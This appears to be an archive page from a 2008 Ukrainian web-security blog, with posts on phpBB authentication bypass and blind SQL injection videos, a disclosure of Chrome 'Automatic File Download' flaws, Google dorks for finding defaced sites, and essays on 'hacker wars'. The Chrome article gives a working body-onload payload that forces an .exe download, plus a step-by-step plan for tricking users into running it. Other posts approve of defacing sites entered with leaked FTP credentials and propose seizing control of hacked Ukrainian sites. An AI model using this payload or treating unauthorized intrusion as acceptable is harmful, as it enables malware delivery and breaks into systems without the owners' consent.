Архів для категорії 'Статті'

« Попередні записи
Наступні записи »

Відео про Authentication Bypass у phpBB

22:43 17.09.2008

Продовжуючи розпочату традицію, після попереднього відео про Blind SQL Injection, пропоную новий відео секюріті мануал. Цього разу відео про Authentication Bypass у phpBB. Рекомендую подивитися всім хто цікавиться цією темою.

phpBB Session Handling Authentication Bypass Demonstration

В даному відео ролику наочно демонструється проведення Authentication Bypass атаки в phpBB для захоплення акаунта адміна. Що цікаво, що випуск свого MustLive Security Pack (в 2005 році) я розпочав зокрема з випуску патча для цієї дірки в phpBB. Рекомендую подивитися дане відео для розуміння векторів атаки через Insufficient Authorization та небезпеки подібних уразливостей.

Опубліковано в Статті | Без Коментарів »

Automatic File Download vulnerabilities in browsers

22:48 13.09.2008

This is English version of my Automatic File Download vulnerabilities in browsers article.

For already known vulnerabilities in browsers I’m adding new one. I present for you new class of vulnerabilities in browsers - Automatic File Download - it’s new attack vector, which can be used for spreading malicious software.

I had occasion to meet before with vulnerabilities, which leaded to automatic downloading of arbitrary files from Internet, particularly exe-files, and with further their execution. It was concerned with buffer overflow vulnerabilities in browsers, Internet Explorer in particular. But for the first time I saw such vulnerability, which is a part of browser’s functionality. This vulnerability was presented in browser Google Chrome. Taking into account that in all other browsers, which I worked with, I didn’t see such vulnerability, so I state that Chrome is a first browser with holed function of file downloading (when attack is going through downloading function).

Variants of attack.

From all vulnerabilities which I have found in Google Chrome, including during my project Day of bugs in Google Chrome, there were seven Automatic File Download. Altogether I disclosed eight such holes: one of nerex and seven of mine.

All these vulnerabilities are triggering automatically - while downloading page with required code. I found 8 such cases in all - via tags iframe, frame, meta, script, body, form, frameset and img. It’s possible to use other tags for this attack, but they will not be triggering automatically, because will require some actions from user (press element, pointing at element, etc.). So for the attack the most suitable are these 8 variants of Automatic File Download vulnerability.

All versions of Google Chrome are vulnerable to these holes (last on current time 0.2.149.29 and previous versions of the browser).

Making of attack.

For making of attack it’s required to place code at web page and attract on it user of the browser.

Example of the code for vulnerability via tag body:

<body onload="document.location='http://websecurity.com.ua/uploads/hack.exe'">

Algorithm of attack:

1. User comes to web site, which contains this code.

Google Chrome-1

2. Executable file (exe) is automatically downloading to user’s computer - into download folder, which is set in options.

Google Chrome-2

After that, user in any time can go to his download folder and during check of his files, run this program. Which can be malicious one.

3. To speed up the attack, offender can stimulate victim to run this application from the browser.

For this mass download effect needs to be used. It’s needed to run for automatic downloading multiple exe-files - which will be showing at bottom of browser’s window (as a buttons). And if run simultaneously many downloadings, they will take whole place at bottom of browser’s window. Which make possibility for user to press on them.

Google Chrome-3

4. User can move cursor and press on one of these buttons. He can do it by accident press button (especially when there will be many of them), from interest, or when decided that he downloaded some file by himself.

Google Chrome-4

5. After pressing on it, user right away runs just downloaded program. Which can hacked his computer. On this picture my demonstration program is shown, which designed for reminding about need to attend to security.

Google Chrome-5

As last picture indicates, even Google can’t protect you from me 8-) .

Conclusion.

Hidden attack (for file downloading) can be made, when user has turned off option “Ask me where to save every file”. Taking into account that this option is turned off by default, and also that even if it turned on, it can be turned off in any time (or by user, or by somebody “kind”, who will have access to user’s browser), so this vulnerability and attacks concerned with it are presenting serious danger.

From browsers which I worked with, such functionality, when it’s possible to set in settings the option “not ask where to save”, is in browser Firefox (from first 0.x versions, one of which I downloaded in 2004). And so, in all versions of Firefox before files downloading always asking, if you want to save this file (as do other browsers). And this option only affect on appearing of new dialog window, where asking where to save the file (i.e. there are two dialogs). But Chrome right away saves file without questions.

For developers of the browsers, particularly Google, it’s better to not allow such vulnerabilities in their applications.

Опубліковано в Статті | 2 Коментарів »

Телепередача зі мною на 1+1

20:12 13.09.2008

Після виходу в березні попередньої телепередачі зі мною на Інтері, очікується нова телепередача в цьому місяці.

Сьогодні я знявся для новин для телеканалу 1+1. Які будуть показані на ТБ завтра. Сюжет з моєю участю вийде 14 вересня в 19:30 на 1+1 в програмі “ТСН” (в новинах). В сюжеті мова буде йти про атаки на сайти банків.

Так що всі бажаючі можуть завтра подивитися телепрограму з моєю участю ;-) .

P.S.

Можете переглянути дане відео в своєму плеєрі:

http://websecurity.com.ua/uploads/articles/tv_video3.flv

Опубліковано в Новини сайту, Статті | 6 Коментарів »

Automatic File Download уразливості в браузерах

22:42 12.09.2008

До відомих раніше уразливостей в браузерах додаю ще одну. Пропоную вашій увазі новий клас уразливостей в браузерах - Automatic File Download - новий вектор атаки, що може бути використаний для розповсюдження шкідливого програмного забезпечення.

Раніше мені доводилося стикатися з уразливостями, що призводили до автоматичного скачування довільних файлів з Інтернету, зокрема exe-файлів, та з подальшим їх запуском. Це було пов’язано з уразливостями переповнення буферу в браузерах, зокрема в Internet Explorer. Але вперше мені довелося побачити подібну уразливість, яка є частиною функціоналу браузеру. Дана уразливість була презентована в брузері Google Chrome. Враховучи, що в усіх інших браузерах, з якими я працював, я не бачив такої уразливості, то я заявляю, що Chrome є першими браузером з дірявою функцією скачування файлів (коли атака йде саме через функцію скачування).

Варіанти атаки.

Серед усіх уразливостей виявлених мною в Google Chrome, в тому числі в рамках мого проекту День багів в Google Chrome (Day of bugs in Google Chrome), було сім Automatic File Download. Всього таких дірок я оприлюднив вісім: одну від nerex та сім своїх.

Всі ці уразливості спрацьовують автоматично - при завантаженні сторінки з необхідним кодом. Таких варіантів я виявив всього 8 - через теги iframe, frame, meta, script, body, form, frameset та img. Можливе векористання інших тегів для даної атаки, але вони не будуть спрацьовувати автоматично, бо будуть вимагати деяких дій від користувача (натискання елементу, наведення на елемент та інші). Тому для атаки найбільше всього підходять саме ці 8 варіантів Automatic File Download уразливісті.

До цих дірок вразливі всі версії Google Chrome (остання на даний момент 0.2.149.29 та попередні версії браузера).

Проведення атаки.

Для проведення атаки необхідно розмістити на веб сторінці код і заманити на неї користувача браузеру.

Приклад коду для уразливості через тег body:

<body onload="document.location='http://websecurity.com.ua/uploads/hack.exe'">

Алгоритм атаки:

1. Користувач заходить на веб сайт, що містить даний код.

Google Chrome-1

2. Виконуємий файл (exe) автоматично скачується на комп’ютер користувача - в папку для скачувань, що задана в налашуваннях.

Google Chrome-2

Після чого, користувач в будь-який момент може зайти в свою папку для скачувань і перевіряючи свої файли, запустити дану програму. Що може виявитися шкідливою.

3. Для того, щоб пришвидшити атаку, нападник може стимулювати жертву запустити цей додаток з браузеру. Для цього потрібно використати ефект масових скачувань (mass download effect). Потрібно запустити на автоматичне скачування декілька exe-файлів - що будуть відображуватися внизу вікна браузера (у вигляді кнопок). І якщо запустити одночасно багато скачувань, вони займуть усе місце внизу вікна браузеру. Створючи можливість для користувача натиснути на них.

Google Chrome-3

4. Користувач може підвести курсор і натиснути на одну з цих кнопок. Він може це зробити випадково натиснувши кнопку (особливо коли їх там буде багато), з цікавості, або вирішивши, що це він сам скачав якийсь файл.

Google Chrome-4

5. Натиснувши на неї, користувач одразу запустить щойно викачану програму. Яка може похакати його комп’ютер. На даному малюнку зображена моя демонстраційна програма, яка призначена для нагадування про те, що потрібно слідкувати за безпекою.

Google Chrome-5

Як видно з останнього малюнку, навіть Google не може захистити вас від мене 8-) .

Заключення.

Прихована атака (для викачання файла) може відбутися, коли у користувача відключена опція “Запитувати, де зберігати кожен файл перед завантаженням”. Враховучи, що ця опція відключена по замовчуванню, а також те, що навіть якщо вона включена, її в будь-яку мить можуть виключити (або сам користувач, або хтось “добрий”, хто дістанеться браузера користувача), то ця уразливість і пов’язані з нею атаки становлять серйозну небезпеку.

Серед браузерів з якими я працював, подібний функціонал, коли можна задати в налаштуваннях можливість “не запитувати куди зберігати”, є в браузері Firefox (ще з перших 0.x версій, одну з яких я викачав в 2004 році). Так от, в усіх версіях Firefox перед викачанням файлів завжди запитує, чи хочите ви зберігти даний файл (як це роблять й інші браузери). І ця опція впливає лише на появу нового діалогового вікна, де запитується куди зберігти файл (тобто є два діалоги). А Chrome без запитань одразу зберігає файл.

Виробникам брузерів, зокрема Гуглу, варто не допускати таких уразливостей в своїх додатках.

Опубліковано в Статті | 1 Коментар »

Кримінальний Кодекс України

22:44 10.09.2008

В Кримінальному Кодексі України існують статті щодо злочинів пов’язаних з використанням комп’ютерів. Як ІТ-фахівцю та програмісту з великим стажем, мені ця тема була цікава і я слідкував за появою даних статей в новій редакції Кримінального Кодекса (в 2001 році). Щоб знати зміст цих статей і враховувати їх в своїй діяльності (щоб діяти в рамках законодавства).

Це ще було задовго до того, як я почав займатися напрямков веб безпеки на початку 2005 року. І з того часу дана тема стала для мене ще більш актуальною.

В себе на сайті багато років тому я розмістив тексти статей про комп’ютерні злочини:

На офіційному сайті Кримінального Кодексу ви можете ознайомитися з діючою редакцію кодексу. Зокрема ознайомитися з Розділом XVI - Злочини у сфері використання електронно-обчислювальних машин (комп’ютерів), систем та комп’ютерних мереж і мереж електрозв’язку.

Усім професіоналам ІТ-галузі, програмістам та взагалі всім користувачам комп’ютерів, що мешкають в Україні, варто бути ознайомленими з даними статтями КК України.

Опубліковано в Статті | Без Коментарів »

Практики управління безпекою

22:48 30.08.2008

В своїй презентації Security Management Practices, Ben Rothke розповідає про сучасні практики управління безпекою. Він торкається різних аспектів процесу управління безпекою.

Опубліковано в Статті | Без Коментарів »

Хакерські війни: бойові дії

22:40 26.08.2008

В своїй статті Хакерські війни я розповів про концепцію війн хакерів, про різні види хакерської діяльності в Інтернеті, та про те, які саме дії хакерів можна віднести до хакерських війн.

Бойові ж дії в рамках хакерських війн відбуваються там, де відбувається змагання між різними хакерами - боротьба за контроль над веб сайтом (цілим сайтом, чи його частиною, наприклад, форумом, тобто боротьба за веб ресурс). Тому бойові дії - це ознака хакерської війни (коли вони є, тоді є й війна, а коли завершаються бойові дії, тоді завершається війна за веб ресурс).

Періодично мені доводиться взламувати веб сайти, з метою попередження їх адмінів про дірки на сайтах (добрий хак, як я його називаю). В даному випадку хакерських війн тут немає. Є ще інша категорія - війни між адмінами і хакерами (коли хакери тривалий час атакують сайт, а адмін відбивається, тобто коли є послідовні взломи сайта з подальшими його відновленнями). Хакеро-адмінські війни є іншим видом кібер війн (як загального поняття війн в Інтернеті). І вони також визначаються наявністю бойових дій (що є ознакою обох видів війн). В даній статті головну увагу я зосереджу саме на хакерських війнах.

В своїй діяльності я з бойовими діями особливо не стикався (в основному лише спостерігав їх під час проведення власних досліджень). Але одного разу мені довелося брати участь в бойових діях - в хакерській війні за один веб ресурс. В минулому році в проекті MOSEB я писав про одну дірку в Google, що призводила до витоку ftp логіна і пароля. Тоді я швидко знайшов робочий сайт, де логін і пароль підійшли, і вирішив дефейснути його, щоб повідомити адміну про дану проблему з безпекою його сайта. Одразу ж я виявив, що його сайт вже був похаканий :-) (дефейснутий хакерами з близького сходу). Бо інформація про ту дірку в Гуглі швидко поширилася в Інтернеті, що призвело до масових взломів сайтів (ось так Гугл піклувався про безпеку своїх користувачів).

Сайт то я дефейснув, де повідомив адміну про проблему. Але мій дефейс простояв недовго - сайт швидко був похаканий знову (вже іншими хакерами). Я відновив свій дефейс, тим самим втрутившись в ці бойові дії (і при цьому виявив, що одні з наступних хакерів взагалі видалили усі файли з сайта, залишивши лише дефейс). Але враховучи, що адмін не реагував на цю ситуацію - його сайт весь час дефейснувся різними хакерами (по багато разів за добу). В сумі я тричі дефейснув сайт (розмістивши повідомлення адміну) і двічі написав повідомлення йому на емайл, але він не відреагував. Що перетворило його сайт на вакханалію. Утримати свою позицію на тому сайті було неможливо (враховуючи обставини), тому повністю захистити той сайт не вдалося, але я зробив усе можливе. Так що в мене є невеликий бойовий досвід ;-) .

В зв’язку з ситуацією яка склалася в Уанеті зі взломами сайтів (про що я чимало писав в своїх дослідженнях), я вирішив започаткувати новий проект. Який приурочив до Дня Незалежності України, що пройшов 24 серпня (з чим я вас вітаю). Коли як раз я остаточно визначився з задачами проекту, а за день до цього опублікував статтю “Хакерські війни”, де оприлюднив саму концепцію.

Суть нового проекту полягає в відвойовуванні українських сайтів, де адміни самі не виправляють ситуацію, і сайти постійно взламуються іноземними хакерами (що має місце). Тобто потрібно взяти контроль (українськими хакерами) над тими сайтами Уанету, що перманентно контролюються зовнішніми силами. На сімнадцятий рік незалежності пора вже навести лад з безпекою кордонів нашого сегменту Мережі.

Опубліковано в Статті | 2 Коментарів »

Хакерські війни

22:46 23.08.2008

Хакерські війни (Hackers wars) - це війни хакерів за веб сайти. Це новий етап в розвитку Інтернет - коли сайти не тільки створюються, або закриваються (коли вони завершили свою місію), але й завойовуються. Цей варіант став можливим коли, по-перше, накопичилася критична маса сайтів, і коли, по-друге, люди зрозуміли цінність сайтів. Раніше люди захоплювали землі та інші ресурси (й зараз продовжують цим займатися), а в цифровий вік люди почали захоплювати веб сайти.

Ця концепція - хакерські війни - є доволі цікавою, і не тільки для кіноіндустрії (яка могла б зняти фільм на тему хакерських війн), але й для усіх користувачів Інтернет. Тому що вона безпосередньо торкається кожного інтернетчика, зокрема власників сайтів - бо будь-який сайт може стати жертвою хакерської атаки (а то й не одної). А деякі сайти можуть перетворитися на місце бойових дій (коли сайт буде хакатися багатьма хакерами підряд), про що я вже писав в своїх дослідженнях.

Самі ж Інтернет користувачі, що можуть використувавати конкретний сайт, який став жертвою війскових дій, не будуть задоволені коли сайт перестане працювати. І ще менш вони зрадіють, коли на своєму улюбленому сайті вони підхоплять віруса. Тому ця концепція є більш ніж реальною - вона існує вже деякий час і торкається кожного користувача Інтернет.

Можна розрізнити шкідливі й нешкідливі види хакерської діяльності в Інтернет. До шкідливих можна віднести: взломи для дефейсів, взломи для видалення даних, взломи для розміщення шкідливих кодів (фінансово мотивовані взломи), Black SEO взломи (також фінансово мотивовані), взломи для викрадення даних (про які можна й зовсіс не довідатися) та інші. Є також ще DDoS атаки, але вони відносяться до іншої категорії, тому що в даному випадку сайти не взламуються. До нешкідливих можна віднести: взломи з метою попередження про дірки на сайті (що я періодично практикую), а також попередження власників сайтів про взломи їх сайтів (після виявлення факту взлому), в тому числі про інфікованість сайтів шкідливими кодами (що також мені доводилося робити - в цьому році повідомляв деяким власникам сайтів про це).

До хакерських війн безпосередньо відносяться дефейси та видалення даних (більш брутальні взломи ніж дефейси), а також ці два варіанти поєднані з розміщенням шкідливих кодів і/або лінок. Для протидії даним атакам можуть застосовуватися вищезазначені нешкідливі види хакерської діяльності. Але в першу чергу адміни повинні слідкувати за безпекою своїх сайтів.

Опубліковано в Статті | 4 Коментарів »

Відео про Blind SQL Injection

19:15 16.08.2008

Продовжуючи розпочату традицію, після попереднього відео про SQL Injection в JPortal CMS, пропоную новий відео секюріті мануал. Цього разу відео про Blind SQL Injection (у веб додатку на MySQL). Рекомендую подивитися всім хто цікавиться цією темою.

Demonstration of Blind MySQL Injection (bsqlbf)

В даному відео ролику наочно демонструється проведення Blind SQL Injection атаки за допомогою perl додатка bsqlbf (з отриманням логіна, паролю та інших даних з БД). Рекомендую подивитися дане відео для розуміння векторів атаки за допомогою SQL ін’єкцій та небезпеки подібних уразливостей.

Опубліковано в Статті | Без Коментарів »

Number of hacked sites in Internet

22:42 28.07.2008

This is English version of my Number of hacked sites in Internet article.

How much of hacked sites are currently in Internet - it’s urgent question. From news you know, that sites are constantly hacking, and number of this hacks is measured in hundreds and thousands (per one way of hacks), sometimes reaches hundreds of thousands of sites.

To find out the situation with hacks of sites in Uanet I lead own researches, as a result of which publish reports about hackers activity in Uanet. And as a results of new researches today I created new method of searching hacked sites, as in Uanet, as in a whole Internet. Searching occurs with help of Google - via special dorks.

This method allow to reveal hacked sites, which were hacked recently (or long ago), and still were not fixed by admins. So this method can be used for revealing of actual state of Internet’s hacked level ;-) (to reveal recently hacked sites). It can be used also in general for researching of hackers activity in Internet, and also for leading of regional researches of hackers activity (in different countries).

Queries for revealing of hacked sites:

intitle:”hacked by” - as a whole in Internet up to 1010000 sites are currently hacked.

Of course there are also news sites in results, which wrote about hacks of sites, but there are many directly hacked sites.

Search on Uanet:

intitle:”hacked by” site:ua - up to 2060 sites are currently hacked.

intitle:”hacked by” + “pages from Ukraine” - up to 2540 sites are currently hacked.

Second query more precision (because include Ukrainian sites, which not located in ua zone) and so has more results.

In Internet (and in Uanet) there are large number of hacked sites in current time. And with every minute, when robots of Google (and other search engines) walk around the Net, this information is updating.

Опубліковано в Статті | Без Коментарів »


« Попередні записи
Наступні записи »